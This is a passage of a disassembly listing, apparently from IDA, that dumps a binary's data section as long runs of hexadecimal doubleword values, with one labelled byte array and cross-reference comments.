		dd 9C6C5D0h, 2204E70h, 4FF97D04h, 40F5A9E8h, 0E344Bh, 0C1B41FFAh
		dd 0AF994924h, 96EE7000h, 0B72051Ah, 906C07A1h,	50F6854Ch
		dd 0B2ADFAC9h, 0F9B62A07h, 0D100EBC4h, 0EEB16Fh, 0F5A102D8h
		dd 0C5B911B8h, 0ABD98A00h, 75FB5995h, 32DB1F09h, 0A8F7008Bh
		dd 3620E052h, 9E7DCB03h, 802F401Eh, 0FAC9ED65h,	4FB9005Ch
		dd 594215BCh, 2A002039h, 0DDC1E40h, 5CD252h, 558E2371h
		dd 21E2EDAEh, 167AD5ECh, 8D75A103h, 0C0A89903h,	98C679CAh
		dd 6C0E004Dh, 907DD532h, 0D00D8DAh, 5C172313h, 0E5F466h
		dd 0CA89BA3Fh, 6EBDB109h, 8C8F2003h, 0B8A86D0Ch, 1C890h
		dd 0F72D8264h, 0AFDF2138h, 0D9832C00h, 154C636Ah, 14E7829h
		dd 0DD069B71h, 0E8A5E4E0h, 57008D61h, 4931A682h, 3DF472C3h
		dd 5580780Fh, 4FE0E87Ah, 27005126h, 71D02D1Bh, 70C0625Ch
		dd 191003Fh, 0A739A060h, 0BB0FE8F3h, 0A418A3h, 0A4F9DD3h
		dd 1D89EA2Fh, 155B7D4h,	77872705h, 0EEFDF07Eh, 0E58F39h
		dd 0F384888Dh, 0C56832h, 0BBE79C8Ch, 837BB0EBh,	0C09B7900h
		dd 7323265Dh, 503A00DFh, 0CD3BC463h, 5400C329h,	8AD3419Ah
		dd 0AA68E3h, 0F4DDF614h, 0DE1D5EECh, 645D2500h,	4A624140h
		dd 161F000Dh, 45BBB176h, 0CA007B1Ah, 4290A665h,	0F121BAh
		dd 0E85EFE2Dh, 0E48371FFh, 5CC9A700h, 7E654C99h, 0BB440335h
		dd 0FF769E21h, 6C8B2811h, 2154EA11h, 7C940872h,	88703788h
		dd 16905727h, 792E5D86h, 0E1144350h, 844AA344h,	4F3CEF50h
		dd 0A23A50A0h, 88366E88h, 1B897376h, 85451442h,	1404A264h
		dd 7447803h, 9079446Fh,	2C4E8648h, 4053A11Eh, 34005A72h
		dd 0F5C5AF24h, 0FC9269h, 0E6C185C6h, 16309C53h,	61EB2803h
		dd 0DB0F637Ah, 0DE1F8856h, 0A02500B5h, 0F533F904h, 0D503D072h
		dd 4A82C589h, 0E81F981Ch, 0F9AC0030h, 31E0538Eh, 7FE0CC54h
		dd 6B93E100h, 3B65DC87h, 272011Eh, 4CA1268Dh, 0ABEF30BBh
		dd 68B4EA0Eh, 0E489C0BAh, 353DE7h, 66C03863h, 0E56625Dh
		dd 0A1599600h, 3B8993DCh, 7CDB00BAh, 39BEA08Dh,	0A30113E3h
		dd 8770E65Ch, 0F7F2E9A4h, 425B1780h, 0DE0BEB73h, 51B1A7h
		dd 278A7E21h, 55E20766h, 0D00307E0h, 0D7599A9Eh, 0B6F5A42Eh
		dd 164CA500h, 38732ACCh, 0B80042ADh, 0FC0BCFA6h, 0FB078486h
		dd 0FD6A9DAAh, 6668C0FEh, 1A02F45h, 0B6C04DDBh,	0D47B02A2h
		dd 0D8164781h, 9E031F9Eh, 587E9Ch, 0DE743FB0h, 0D1284F93h
		dd 300C1FAh, 0BBAC11B9h, 259B31h, 6EC03FA2h, 746ACB05h
		dd 0E0A6EB00h, 82D87877h, 172F00F5h, 302E53EDh,	0FF00C238h
		dd 57F45EDDh, 0F778B64h, 0DB84E261h, 0FE8D3640h, 3FAEAF9h
		dd 0C012D500h, 0C7889C37h, 84A900D1h, 182BB5DFh, 7B3A5FBBh
		dd 0DABC8046h, 0D3A4CB14h, 42F64Eh, 26F04CF4h, 80CA25CDh
		dd 3ADAA50Fh, 7C484045h, 0F334B79h, 0D5E249C0h,	90CD66A7h
		dd 115C0D36h, 0F869400h, 2310A6D2h, 80890078h, 6ED0AC34h
		dd 17093082h, 2F1F6971h, 188CA7E8h, 0B04501F9h,	0BDE9457Ch
		dd 36F88E4h, 51BEDEFDh,	27A8EEECh, 0D807241Ah, 313B0E6Dh
		dd 49D2B820h, 9BA3008Dh, 0C967D91h, 38785A3Ch, 1F005879h
		dd 0A89D6B7h, 2D6368h, 808D2269h, 8473D01Dh, 8048F43Ch
		dd 8B1C243Ch, 0B3F095h,	8D0EF656h, 0F2FA6752h, 6A074274h
		dd 0C0E44345h, 0F05BD180h, 0DCA200F5h, 0CA2A0769h, 9A3B6C72h
		dd 0C0DD80A3h, 3EBDD408h, 0ED9900ADh, 221F9F48h, 0D20059E3h
		dd 0DD4321B9h, 70760Fh,	8BDE23CCh, 0C9BCF49Dh, 395820B0h
		dd 24AC548Fh, 31976D0Ch, 3C900Ah, 748A69ECh, 234095F5h
		dd 0B1FF4200h, 0D59FAB22h, 0EEE87098h, 0A7AD00B4h, 0E68FD952h
		dd 570196DAh, 0CF2FFB35h, 30DCE7ECh, 3E6930B4h,	0A3BDA4F8h
		dd 84E90C00h, 8E043F0Eh, 6C5303D1h, 7392D981h, 0C161DC0h
		dd 0A108E400h, 94423CDDh, 0A5E207BFh, 0C2A2E763h, 93406757h
		dd 0CBB0FE12h, 0CD4AF000h, 9E448CD5h, 0E1633936h, 49EF027Bh
		dd 58E56055h, 12DDF340h, 714AD300h, 0FDF805BBh,	59F00484h
		dd 0C7D6C4FCh, 0A000E973h, 77221DD2h, 96EA700h,	44A5AE6Ah
		dd 0E18A0396h, 2F78B376h, 1898FEC8h, 38AFAB00h,	0A6FD9EAh
		dd 0F6C972C3h, 0F6FC77C1h, 550300BBh, 0F043E73Fh, 8A3B5FC4h
		dd 8CC700B0h, 0E588F5E0h, 0A0A60042h, 0FF7ABA52h, 2200A34Dh
		dd 0B62B08D0h, 94AF91h,	0DD44F521h, 5EB8A46h, 53B45400h
		dd 3475283Ch, 0B3EE0038h, 14C042D6h, 29004E01h,	0BEDA4144h
		dd 9C2119h, 80E11BBh, 9F81F17Fh, 24289D07h, 5660EE16h
		dd 98C766F8h, 62230003h, 0CF11A4F0h, 70F0B546h,	390072F4h
		dd 19F1AABCh, 0D1FC79h,	8653A335h, 0F4A88415h, 711C400h
		dd 0F166B627h, 0F3FF0058h, 76E0638Ch, 61C54BDh,	0DB42BC9Dh
		dd 60280B31h, 1EDA567Bh, 0C0FF14E0h, 0B994B2F0h, 600085B5h
		dd 321729C6h, 291C2h, 415FB469h, 44B1C47Eh, 8F72BF00h
		dd 0B5226BC1h, 0FC70070Ch, 8041A15Fh, 47602FB3h, 74387870h
		dd 0A0ED0315h, 80AEA628h, 701EB90h, 698D8E38h, 200D408Ch
		dd 84007CF8h, 0B7270216h, 88F446h, 0BEBC38D0h, 89969115h
		dd 0A700E072h, 0AE41F0Eh, 87CE82h, 43A2B860h, 352F7681h
		dd 0FF657D00h, 0F4C3024h, 710D0094h, 6B704FC1h,	5E0004D0h
		dd 8DF19FC8h, 77C3585h,	3138EF7Dh, 8CF7D311h, 8EE1EBE0h
		dd 152B0703h, 9819053Ch, 0C5A9A0h, 31342E0Ch, 627C8557h
		dd 0D7AC400h, 0DE21AEF4h, 420097BBh, 0AF84F049h, 0BF1DB700h
		dd 4443A5B2h, 2C543BE0h, 0FFD85201h, 0E4ACE86Ah, 0D50058B9h
		dd 5F3C36CEh, 1E96C94Ah, 3A79176h, 8433BDD0h, 1695C188h
		dd 1CC88624h, 0A02F990Eh, 0A42B3B6Fh, 0A117019Bh, 14ECB508h
		dd 973820B1h, 0DC5DD300h, 95C075BAh, 0FEBC00E1h, 0A4E56247h
		dd 0E0078F8h, 498944Ah,	0FE8A7B5h, 0F671C97Ah, 52538BC0h
		dd 5F00E592h, 0F7426E59h, 12C1EBCh, 0B6835AC5h,	0F0D996C4h
		dd 6700F427h, 0B0083926h, 6250564Ah, 0DEE9E012h, 30778F61h
		dd 303FC235h, 1B8581F0h, 22EC4D61h, 4C0CE2CCh, 0E0003C83h
		dd 0F30F78DDh, 4201669Dh, 0A141D4DFh, 69D4C4F7h, 12B500D0h
		dd 7BC32132h, 7D00BE88h, 87E25906h, 4E18Bh, 21B7F29Ch
		dd 15224CF6h, 41A24612h, 84021F00h, 74B1D4h, 62C22633h
		dd 6FCB8861h, 0E67BF000h, 2E6471DFh, 0D8992E8Dh, 0D9FC0401h
		dd 0C1649263h, 0FD92E88Ch, 3066781Dh, 0BE73D43h, 98E83979h
		dd 7D376000h, 3412224Ah, 0ADF44501h, 0D1A4E4F3h, 2304FCh
		dd 15F89A46h, 44E56B98h, 9CFB6601h, 0DAE11B5h, 4FF5E4h
		dd 0FAD7FE47h, 0CA4B53F9h, 7487A900h, 67F75FD8h, 48973FA5h
		dd 45BFE68Fh, 5076756Bh, 0F8515B0Ah, 0A00E810Fh, 2355F534h
		dd 937C0747h, 0CFE465h,	0DC5BB360h, 7FF94C14h, 323F00B8h
		dd 139479E5h, 27CF007Bh, 0FCFE6255h, 0CB009CC9h, 0F88A091Eh
		dd 756A45F4h, 0A710798h, 0E6256D6h, 6C1E6980h, 30061D7h
		dd 74E458B3h, 335C4B2h,	6B1B4878h, 1A888DECh, 3CE62810h
		dd 805BF03Bh, 0BC81F462h, 12D6EDh, 35F64DD7h, 6C286A84h
		dd 7200ADEAh, 740BCB31h, 399E155Ah, 0E189125Dh,	5C009B28h
		dd 0EF7BC82Bh, 225BFF00h, 1D40C7A1h, 0E9E30009h, 9770CB4Eh
		dd 9002FB3Eh, 2F878349h, 2524032h, 3F2201ABh, 8214C911h
		dd 8DFBFCE2h, 3AE03616h, 4067080Fh, 8A9542E9h, 89F900E3h
		dd 7E056621h, 0CB1ECDD1h, 280D065h, 1C6AD6ADh, 0D3F0020h
		dd 0ACF5E8E2h, 4E39A641h, 0FEBD8384h, 9AD257h, 9FFA68B0h
		dd 3758BCDDh, 0BA3C7900h, 0FF347F28h, 7090AFh, 989A8CB4h
		dd 0DE4FA950h, 55E7E500h, 0FDBCB8D2h, 0A38500FCh, 1C1FB5ADh
		dd 6C00C910h, 0F37B6626h, 0B4DB0Eh, 68479027h, 0ECCD656Dh
		dd 3009A9A1h, 5501DA90h, 0C82D2FFEh, 8BE89211h,	50B700DEh
		dd 3F746CB6h, 65033C9Ch, 0AD30E79Fh, 5401E080h,	1098002Dh
		dd 0E1561F40h, 38024E32h, 81E483E9h, 523B00F5h,	8CB20597h
		dd 0A9B75E01h, 0B5F25721h, 1E8AC6D0h, 41C4BCAFh, 119CED34h
		dd 398C412Eh, 16FA11FFh, 0EECAD8h, 9830C88Fh, 80A15A0Bh
		dd 0D20A5090h, 8015EB73h, 0B2DD4880h, 0AE8A66h,	0DC88F78Dh
		dd 0F718251h, 0BD260507h, 0D487292Ch, 9EB100BFh, 16906A8Ch
		dd 17CB6Eh, 0EB44837Eh,	2114E71Ch, 7BC9D50h, 184C1B0Dh
		dd 5A289040h, 5CCE00ACh, 8CED2E67h, 0A200C05Fh,	843A0511h
		dd 1F972812h, 0C1D68A54h, 1758CA79h, 0E5683049h, 6D6FE100h
		dd 41142281h, 0C110076h, 0BE42E64Dh, 0B339D623h, 0F63CAEh
		dd 4F966A7Dh, 88026Dh, 76C712B2h, 0E8E0F8E4h, 560C29E4h
		dd 0F8F46792h, 0A45407CEh, 11994A0Fh, 0ECE8421Dh, 7800BFF9h
		dd 808B88C5h, 7AF6277Eh, 609E0F1Ch, 40FFFBB9h, 0DFB7B275h
		dd 3F09A44Fh, 8062820Bh, 0A61C8E87h, 13CBEA66h,	4C305h
		dd 39A343B3h, 1B07699Ah, 0F8B0D553h, 4CC64D50h,	94BB00F0h
		dd 81F663D0h, 0B7006A6Bh, 0A7F132A8h, 0E4ABDh, 72A2ED4Bh
		dd 0C466BA60h, 82114617h, 877F2800h, 0FA95C38Eh, 43910074h
		dd 50AB30D8h, 1098292Bh, 57D4503h, 88E4F007h, 37A9B8Eh
		dd 76B0730Eh, 49B9DB81h, 0C26C70CAh, 55E80C00h,	9E539735h
		dd 0F857FFDh, 0E15F7196h, 0E93DA80h, 0E33B4164h, 6017488h
		dd 771942A6h, 0C08002F8h, 4634877Ch, 5E00D0EDh,	6BE48BC2h
		dd 7730BA1Eh, 3AB73314h, 0E7E84358h, 0D80146D7h, 0A3E66F84h
		dd 0E720388Dh, 0E8850045h, 0A4DEB371h, 96045D90h, 0CED93F18h
		dd 1E1B6C80h, 0B0791C0Dh, 773200E3h, 901FAED0h,	0D6A0BF07h
		dd 44907C60h, 1DD1E301h, 80C02010h, 74B3B2F4h, 1900808Fh
		dd 119394A6h, 26241C4Bh, 2505256h, 43053277h, 1FF39930h
		dd 1CB15DA1h, 91B434Eh,	8805AF34h, 0B34D237Fh, 657B18C1h
		dd 1E12F0h, 0D906406Dh,	9CB89E57h, 0CC56C01Eh, 0DF8B52C0h
		dd 4FBDCFh, 2DEA1813h, 1F73E2C6h, 5409C973h, 7FC75C0h
		dd 0BFE0324Ch, 17A6BEh,	5DE1EDF7h, 0F63639DAh, 9769DE00h
		dd 766A618Eh, 8C105CFBh, 2351A800h, 94384C84h, 374E8601h
		dd 7B68BE2Bh, 324FC0h, 10DC98C0h, 0C95239Bh, 0A4E7F100h
		dd 86A7F931h, 13BA0225h, 58AFBF7h, 0A298A8C0h, 5E0072F2h
		dd 73514562h, 36DE6Eh, 2B351F9Bh, 0D1594E6Ah, 55FEF710h
		dd 5A27097Eh, 4401C946h, 207B5B15h, 0AEE61864h,	6FFC7917h
		dd 489A0C40h, 0F99D5AAh, 8AFF0221h, 0D182B120h,	4B00A933h
		dd 0EB65FA62h, 6899E6h,	0D708F57Fh, 234EC256h, 159FD300h
		dd 1B6C0420h, 0A1E228A8h, 80626C8h, 0F476C098h,	0EF00A43Fh
		dd 473B23Ch, 0A0AF8670h, 2EDBE6D8h, 0CDE35Ch, 5311C25h
		dd 0D2009960h, 798BFECAh, 2E894A41h, 50BB63h, 0CB8EC3D6h
		dd 0CD177FA1h, 0F420BD68h, 0B9A0975h, 4E38A794h, 7BD7BCA0h
		dd 1CB85237h, 0DCBAF005h, 0A4C14CABh, 8080B078h, 52C65D64h
		dd 70C01366h, 0C345438Eh, 9CF50208h, 81C19DC2h,	0A4B180E0h
		dd 0AF5BC400h, 0CC1A0529h
		dd 0F0A66780h, 414088E2h, 0DC1E9Fh, 0CD26B964h,	191B993Ch
		dd 0F7C42100h, 0E9D5BCABh, 0D78B0050h, 99DF33Fh, 0BEE6748Fh
		dd 0B93DA4B8h, 0BEAFBB9Bh, 0B12A866Eh, 0C06519h, 0A4C98601h
		dd 80E93AD6h, 1815E030h, 60BC74B0h, 1D0B48A9h, 0E6F4A22Eh
		dd 18C8774Ch, 99291BB6h, 5A2C18D5h, 1A2AF874h, 0A8B5791Bh
		dd 234B038h, 2EB40061h,	0C68E0BFCh, 0EF0096FBh,	0A0392F8Ah
		dd 0D476E4h, 143B60CCh,	0B2547C67h, 0BE577D3Ah,	4F5D9EB8h
		dd 44E7F380h, 612CAAAh,	7A0A970Ch, 0E100D824h, 9633D488h
		dd 65C14Ah, 56B55BAFh, 856D2836h, 3A81245Ch, 0D75F80F5h
		dd 0E2AE66Bh, 0BA9600A6h, 880489B9h, 343AC767h,	0A4A049Ah
		dd 7080CAB6h, 2C08A5h, 0EF64F13Eh, 0CF6399F7h, 6F007C70h
		dd 0D9311BCh, 0AEDDFBh,	0D7AB030Bh, 0A147231Fh,	20C2D61Dh
		dd 0E027D20Fh, 0E940BA7Ch, 0F83A0018h, 29510664h, 201D7725h
		dd 7E6834h, 894D6E12h, 86F64Ch,	0DE70C86Ch, 8D0644E0h
		dd 8C819900h, 0D532EBC9h, 64ED005Ch, 0FC4EDCCBh, 103D515Fh
		dd 0C91DF8E9h, 1CC19E9Fh, 0E67BCDBAh, 77C53930h, 8D90D7h
		dd 0D923D237h, 0CF501249h, 627AC918h, 0F64890h,	2EB37D6Ah
		dd 9ED8F3DDh, 3B736D00h, 94E798A0h, 2FC8019Fh, 0C73059EFh
		dd 8F7CC035h, 1872AF00h, 0AD32FACDh, 0CE28006Bh, 89833FDCh
		dd 3A1FA624h, 0FF00F6B6h, 445B144Bh, 3717EFBh, 8D1198AAh
		dd 0B2B8221Dh, 0A57DF92Ah, 42737C01h, 4DA8C093h, 45D3CCh
		dd 513EF166h, 1203A33h,	53F34F00h, 38041DC8h, 692F00B7h
		dd 0A2FFA776h, 8C001CE5h, 0C060C5B2h, 0DB2462h,	18511050h
		dd 6455620h, 73A42600h,	82D38F9h, 520C0040h, 7453925Dh
		dd 0DA00A0D8h, 0DEE2584Eh, 18FEEA7Dh, 1056211Ch, 260F922Fh
		dd 0E0752B6Fh, 0DF90B2D5h, 9E25008Ah, 0D6B1FCAEh, 1A1E7D85h
		dd 0A4C0453Ch, 0BBEE2E81h, 0F4C800B6h, 85AC10DFh, 18013EEBh
		dd 1E7104B2h, 0BBF08163h, 0BC60073Dh, 0C06E38C5h, 61893C97h
		dd 2B6BC903h, 0E0278FF5h, 0E4C70BE7h, 0D81800B7h, 83AB55F7h
		dd 2200B41Ch, 89ED0167h, 3EA3607h, 302CDEA5h, 60785019h
		dd 33884300h, 0E345976h, 7BE200AAh, 9179CDA1h, 80C9B8F8h
		dd 0FE1A0350h, 4BD7D965h, 0F20248BEh, 99B9CE11h, 15D3A200h
		dd 0F0A30062h, 686E2881h, 8E607556h, 395C9ACCh,	3C0100A2h
		dd 5A574260h, 82005895h, 6BAC6C30h, 71ED5A7h, 9E7CEBB8h
		dd 0E5718075h, 83001128h, 0C3AE5F47h, 19DDB1Eh,	79171603h
		dd 20AC12FDh, 0CB000D41h, 13D4FA93h, 993B5Ah, 6CDD7458h
		dd 0BE0F81B2h, 0C3A5C102h, 80650EB0h, 96B4D68Eh, 857D42h
		dd 9DC9092Dh, 0AA101B1Eh, 8067C539h, 4C7A4E7Dh,	0CAA30Bh
		dd 0DDDF2C9Eh, 0EF37CD11h, 6E00AE79h, 2EAB6F3Eh, 0E07EBD50h
		dd 0D9B60366h, 0D48D144Dh, 5AC4D2C8h, 633EC772h, 9D4F87A7h
		dd 5831F4EBh, 0DC4C6DBDh, 97C40084h, 0EBF5492Ch, 83006C03h
		dd 71FC1ED7h, 0B576DACh, 9D50C370h, 0C044F405h,	0D573E7ACh
		dd 0C8C60173h, 51B43Dh,	0AF4E0CA4h, 9CB60DBBh, 8DD4F000h
		dd 3E0341C6h, 453D005Dh, 0B05FAB81h, 160AC980h,	0CC10D09Fh
		dd 28D8501h, 6B204E12h,	0EF405B5h, 83A78B4Fh, 1100D3D3h
		dd 0F3FFD711h, 2DBEEBEh, 2AFECB10h, 20E263B8h, 0EC795C0h
		dd 5C788204h, 9490C27Ch, 0DC550Fh, 8885078Dh, 26F01D83h
		dd 3FF26C00h, 0D85CC9A6h, 87D40458h, 8059028Ah,	0C0AA9110h
		dd 26126800h, 0CA8C506Eh, 0C5200004h, 0EAD3B1D2h, 9313C1A0h
		dd 181D8D56h, 0CC21280h, 5C85594Bh, 812F3ED7h, 98001B5Ch
		dd 33772C8Dh, 845009Dh,	8B46CB20h, 0C501DD90h, 5EE14E69h
		dd 0BAD4FBD4h, 0BEDE0027h, 57BBA0E3h, 90A33235h, 0FE8CA390h
		dd 3066330Bh, 6C7F8713h, 54C51CD0h, 93AE0071h, 0D440C0C8h
		dd 0F0FD47EDh, 30F4FDDh, 0BCA5FC96h, 0EEB3A387h, 786450E0h
		dd 23DF3EB1h, 0FDAD5380h, 0AE1208CEh, 0EEB89D50h, 552B7100h
		dd 925C39B9h, 0F5903F33h, 27978180h, 686164CEh,	0BDC4BC00h
		dd 9AA0A559h, 4AC0F7Ah,	0DC413CE2h, 0C0159E9Bh,	4F0010D4h
		dd 5DF6BB1Dh, 0D317CBh,	57B0C648h, 982B80A8h, 0C4965203h
		dd 0D0276B39h, 90771CD3h, 5D2600DEh, 2187BC43h,	200106DBh
		dd 799941C0h, 1030720Ah, 0E8A32442h, 5F74019Fh,	34E53796h
		dd 4B26B018h, 200431AFh, 20913208h, 0FFC0F9B3h,	6790F5Dh
		dd 2735B8Ch, 0B0F426F4h, 0E91F6FE1h, 5E7520C3h,	0C79AE4F7h
		dd 1349F4Ch, 21C6A124h,	10808254h, 5C1D7FE7h, 1C079B7Bh
		dd 179C1859h, 409384E2h, 3B01F368h, 0A4AC5B48h,	350F0171h
		dd 20A83F52h, 213B37D5h, 1C5500E7h, 0C58DB788h,	3C6E986Fh
		dd 120928D8h, 0BC84B1D0h, 6A8A201Bh, 8E5100BEh,	77648411h
		dd 0CB00D65Bh, 0D2E87C56h, 4A4B2Eh, 8CC241FCh, 0A9EF72D4h
		dd 1F626100h, 8E800196h, 3D5716BDh, 39DC021Ah, 0A4A018CAh
		dd 479914FFh, 0CF04E09h, 67480438h, 7EA18087h, 66E0894Fh
		dd 35F305DBh, 0BCF7627h, 142428A1h, 0DFBC871Dh,	0CC695A40h
		dd 0D031ACBh, 976FC85Bh, 95DB0E7h, 50EEBFh, 0EFC2B362h
		dd 0D208C52Bh, 529C107h, 1620B820h, 7527B63h, 0ED46945Bh
		dd 88840361h, 0F47DB1A1h, 4401BE4Ch, 163686ABh,	0E8C089C1h
		dd 1090E0h, 0A1A36B7Ch,	6CEF0FBDh, 57CFB800h, 0F31C7288h
		dd 0D7580005h, 956BBCEBh, 437B0451h, 87669E00h,	311DDCB2h
		dd 0E730064h, 0FA5B71CFh, 8A006512h, 4C8BF3Ch, 0FF187Fh
		dd 52DFBA2Dh, 207E86CCh, 0D0892E00h, 4D7BDB56h,	32311F87h
		dd 62EC4009h, 0B1C3EFC8h, 789E7900h, 712B7FF6h,	0FD4B0017h
		dd 0EF8B669Bh, 970094BAh, 0AAF08689h, 3412FFh, 1D31F77Dh
		dd 0D381E267h, 7219D561h, 0BCD10C87h, 89A4C4h, 0F0EE6B08h
		dd 0B3D2D89Dh, 5FF67A00h, 3111B616h, 0C2716Eh, 489F3283h
		dd 0B3204F92h, 0F193E300h, 12A3F3A1h, 36280745h, 9038BBB2h
		dd 9C8752C3h, 0CA119124h, 8E8D2300h, 4180ECBh, 69F51E2Eh
		dd 77FC8744h, 3CC100A4h, 0FF007374h, 0A9FB512Ah, 242C1Dh
		dd 0D53ACA01h, 0C6655F0Fh, 0A6A47701h, 73C56DADh, 78473080h
		dd 6C2FE090h, 0B55A670Ch, 0EC631875h, 595E00D5h, 85778DBFh
		dd 0F600AF53h, 108F1F6Fh, 81E111h, 5DE66E54h, 0C4093A2Ch
		dd 0F786F900h, 2643BD8Dh, 658E00CAh, 0FD7183D1h, 6A001E1Ah
		dd 3AAFB132h, 0EE449B0Ah, 3E303B89h, 3F480CF4h,	1D206827h
		dd 0C4A8B900h, 13E71291h, 0C80300D8h, 6FF55969h, 0A9002E95h
		dd 0FAF67DF2h, 0F9EB6Ch, 5534BD79h, 5243FE6Eh, 57DF2D00h
		dd 0ADA00E0Dh, 5C74C0h,	9DC5C2B5h, 5BF34CFCh, 1345ED00h
		dd 0CA5539DAh, 60C2E223h, 0CD8430D3h, 0A029B1Bh, 5F24A4D6h
		dd 15104008h, 46F642h, 16E2A38Ah, 74D153CEh, 73443300h
		dd 0A863EB1Ah, 386B00B0h, 8C3B4FA1h, 7A2EC48Eh,	0D605217Bh
		dd 9000D1BBh, 8FFC5F94h, 1ED5F2E0h, 4FEB07AAh, 9E60437Fh
		dd 0CF50610Fh, 0E6003FB0h, 0FDF357F9h, 74A6EA9h, 138DA2Ah
		dd 0A5CC205Ch, 7B00768Ah, 9CFE2DDFh, 0E4FD9060h, 57D800E5h
		dd 81524B44h, 0A60550D9h, 0F8F02454h, 0C6059C07h, 2E2AC720h
		dd 808C003Dh, 3277A386h, 0DCA8CBB6h, 20706E88h,	1A00D978h
		dd 3D53FF7Dh, 0EB5A3Fh,	5EE8E6AFh, 0C01D2C38h, 0E0CAA00h
		dd 213F2267h, 0B498166Bh, 0FA930040h, 506C5436h, 7DDA100h
		dd 813A56A2h, 30E40C21h
		dd 1AB4704Bh, 1040D303h, 0A68EEEh, 17380478h, 236F9E80h
		dd 0C8AF0900h, 9AEB52E3h, 1DD00D4h, 332F728h, 0F9F54DA7h
		dd 4CB9C0B1h, 1DF67439h, 2B00E995h, 0EA1A549h, 0A71B0007h
		dd 8DBD0A1Dh, 0C73E1ECDh, 0C12E00B0h, 9365E77Fh, 0A3C300CEh
		dd 2ABEAA54h, 0E4011C7Dh, 8CB33D3Eh, 8BE1B970h,	28720570h
		dd 0ADC868h, 0FBC75563h, 0AD9391A4h, 0E08D700h,	3AD8BF3Dh
		dd 68A25C5Fh, 132F400h,	8F9AFBB9h, 25DB4C00h, 36BA8A4Ah
		dd 28A4A0E9h, 835B043Ch, 0C2A8FB34h, 61602AE1h,	0F0003D81h
		dd 42D4145Eh, 0B6966Dh,	8D927DA5h, 2E434DE0h, 0EB3BD512h
		dd 55FA7A01h, 72C88844h, 84614AFh, 0F23BBA37h, 4F8D0E00h
		dd 1E655355h, 0DCDAAE3Bh, 41270007h, 3F31A615h,	6ECB0E88h
		dd 2CE0BBFFh, 9030B4C3h, 51D65400h, 0F95C975h, 3A7A005Eh
		dd 2B1F7B4Fh, 0FA0C8063h, 0C810068Ah, 0C24C00D8h, 97642F36h
		dd 0E07EEEFh, 0C83C8375h, 475637E0h, 530F00ECh,	7B88F316h
		dd 5E17E92Fh, 0F5024EDEh, 8017615Dh, 0CC392280h, 0B6F307C9h
		dd 0C0EBA667h, 0EDC4013Fh, 0A1E8A00h, 10477C5Dh, 4BEE0122h
		dd 6845F63h, 0D34C3018h, 0F8C62303h, 0EA9E6CBh,	0E5D13441h
		dd 0DC574Ah, 0BB3060F3h, 6500A9ADh, 0A78A6FC2h,	88F2B0h
		dd 0BD9CA05Ah, 0B59E7835h, 57EF101Dh, 0FAA92C83h, 0F80FE37Ah
		dd 6CEBF8h, 5D71613h, 0ABE237F1h, 858AAA00h, 0D1D2C4BFh
		dd 12DC00B3h, 1E389DD7h, 0F5007CADh, 9FBA0A4Fh,	974EA7h
		dd 2FE5B5A8h, 0F0AE1039h, 73B9070Ch, 15CAF8h, 0D87E3AE3h
		dd 667963A3h, 9C88B400h, 6F65998h, 4C3E4CDEh, 9BED1B01h
		dd 0C86611BBh, 83013772h, 5CAD19DAh, 73C452D5h,	1D67180Dh
		dd 0AFF07032h, 1BDBC02Ch, 0B0163F00h, 8DD243h, 0CB7C08E9h
		dd 0FDD73684h, 0FC497100h, 470D2656h, 0C2E10028h, 0DD51E0B1h
		dd 1800BAFAh, 0C071215Bh, 0E4348B7Bh, 0ACD34E6Bh, 48FD07BBh
		dd 92106DD5h, 19822BDh,	0F328CEF6h, 0BE767E0Eh,	0CBFC0170h
		dd 0AE7F3491h, 0E85F36FCh, 0B03C0F3Ah, 70F8DD3h, 797D3D80h
		dd 0E307FD6Bh, 5C9CDDC1h, 0C392EDA0h, 237A008Bh, 9D890605h
		dd 5200AEDBh, 9C9774B5h, 72C63725h, 48086075h, 5B767109h
		dd 22AC1707h, 0F951A56h, 0E1D30C00h, 0FA52E991h, 888A9B1h
		dd 3F6890A8h, 0BDB7CF63h, 767DB018h, 0EFF2964Bh, 774CA03h
		dd 0C0F7D535h, 17E21A55h, 0CC0E50h, 16F43B78h, 6403965Bh
		dd 5E2EBA57h, 7E558030h, 0F1ECC4h, 0D0591E3Ch, 0FF0AC245h
		dd 0E30085ECh, 0B5B17DEBh, 60A154B6h, 0C2BD91BEh, 88C390F9h
		dd 2526A4Ah, 8E12B668h,	560A4D8h, 0EBB8E9EEh, 0B9333901h
		dd 550F6C38h, 8C229B9h,	10EEC972h, 5642844Dh, 43423A48h
		dd 204124C7h, 800FA983h, 5D8894D6h, 87589C5h, 0EEAB45DCh
		dd 0E5DFAA20h, 0D2FB0003h, 1B379CB9h, 417BFE6Fh, 9120FF00h
		dd 4553D5CFh, 55E403EBh, 7CB84C69h, 0E34A3D90h,	0FB79F500h
		dd 0BFE60428h, 9BB8B0h,	8A387734h, 0C79775D1h, 0D6AFAB0Eh
		dd 63009304h, 0EA925311h, 0F4520970h, 0DC83A7DCh, 0B5A04F6Fh
		dd 0CF03FD1Ch, 20D43174h, 0A879F39Bh, 0EEB29051h, 0F7AB00BFh
		dd 0E65E4986h, 47099621h, 9A4ED9h, 5406A9B0h, 2593003Eh
		dd 91698E03h, 0EB004650h, 7080182Fh, 4F7AAEh, 0E1BF16Dh
		dd 0B628E853h, 0C5991300h, 5208A3E7h, 5AB903FDh, 63063DE9h
		dd 0BB132BE8h, 7C467300h, 0CCB76B0Dh, 4B1A0092h, 0CB6EAD02h
		dd 4492CEF2h, 0B4001670h, 14FF553Ah, 1358B30h, 0A1099D10h
		dd 60BC96A8h, 263EFC70h, 2C1A00F8h, 0F927B202h,	421F007Ah
		dd 53298959h, 0F1007083h, 0E13875B6h, 25585Fh
		db 0BFh
byte_520045	db 9Ch,	0B8h, 77h	; DATA XREF: ___:00437A58o
					; ___:00437A70o
		dd 8CFE4C93h, 0F2AB3A1Fh, 0AC99CB86h, 0E99F0581h, 405DCA38h
		dd 675561B4h, 8707AD99h, 0F4EF3CCCh, 8092AC83h,	46A9E7h
		dd 0F01D84F6h, 8750996Eh, 7D31C400h, 0AF9C1015h, 3F3F72AEh
		dd 0D900FD71h, 0C3D0116Ch, 61C005E2h, 7E8F4D69h, 0FA024C90h
		dd 577C0E00h, 0B72B1B21h, 0CC06FB00h, 58AA4F18h, 7DCD00E8h
		dd 1F088952h, 7B00906Eh, 2AA619C1h, 0E30739h, 5C2F0B42h
		dd 4979F761h, 0A0F37F00h, 0A30FC9A1h, 0FD38005Ah, 0B0340BCAh
		dd 51003C60h, 2431B7D6h, 0B12C87h, 0C2EA6AF9h, 5A2542ABh
		dd 6935E00h, 3D1EBDD8h,	0EB8B149Fh, 0F0094B6h, 49B8E797h
